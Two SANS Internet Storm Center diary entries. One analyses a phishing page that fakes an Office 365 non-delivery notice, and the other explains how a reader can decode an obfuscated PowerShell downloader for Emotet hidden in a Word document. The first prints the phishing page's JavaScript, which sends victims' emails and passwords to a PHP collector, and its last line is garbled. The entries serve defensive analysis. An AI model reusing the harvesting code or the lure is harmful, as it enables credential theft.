Here is a nice example of phishing attack that I found while reviewing data captured by my honeypots. We all know that phishing is a pain and attackers are always searching for new tactics to entice the potential victim to click on a link, disclose personal information or more…

This time, the email mimicks a fake NDR (“Non Delivery Receipt”) from Microsoft Office 365. Here is an official one (just grabbed as is from Google image):

You probably already received this kind of notification. Office 365 being very popular, chances are increasing daily. Now, let’s have a look at the fake one:

Note also the interesting sender email address, this inspires extra trust isn’t it?

If you click on the link to resend the mail, guess what? The bad guy asks you to enter the password related to the email address passed as argument in the URL:

Here is the piece of code called when you submit the form:

function sendmails() {
  var em = $('#testx').val();
  var ps = $('#pass').val();
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      var response = JSON.parse(this.responseText);
      if (response.msg == "donesend") {
        $(".thanks").show(); setTimeout("window.location.href='';",5000);
      } else {
        $('#warning').append('Your email or password is incorrect. If you don\'t remember your password,<a href="#"> reset it now.<a/>');
  };"GET", "sendx.php?user=" + em + "&pass=" +ps, true);

It is based on XMLHttpRequest[1] which allows the browser to make a query to another page without reloading the first one. Depending on the results of sendx.php, you get a warning message or a redirect to the official Outlook homepage. My guess is that the PHP code tries to validate the credentials against a Microsoft service.


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reader Vince asked for help with the analysis of a malicious Word document. He started the analysis himself, following the method I illustrated in diary entry "Word maldoc: yet another place to hide a command".
Following this method, Vince found a shell statement:

And then searched for string zOSpqpzMSfs, but couldn't find the PowerShell command.

In the diary entry followed by Vince, I search for a VBA string, that is a string delimited with double quotes: "j9tmrnmi". Because this VBA string is used to identify an object that we can find in the streams of the OLE file.
String zOSpqpzMSfs, what Vince is searching, is actually a VBA variable name, and not a VBA string. The value of this variable is calculated at run time, and is not explicitly stored as an object property:

That is why the method followed by Vince does not work for this sample. You need to find the value of the variable, for example by reverse engineering the VBA statements and then calculate the value accordingly.

But there is also a "quick-and-dirty" method that I illustrated in diary entry "Quickie: String Analysis is Still Useful": just search for long strings (printable character sequences) in the document file, regardless of the internal file structure.
This works for Vince's sample (here I'm grepping cmd to keep the output short):

What we have here, is a PowerShell command obfuscated with a DOSfuscation technique.

This command-line statement selects characters from the string in red using indices in yellow:

to build the following command:

I used Python to do the indexing and concatenation to decode the PowerShell command:

And this PowerShell command is a downloader: a command that downloads and executes a malicious executable.

Notice that this downloader tries 5 URLs:


to download an Emotet variant.

Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
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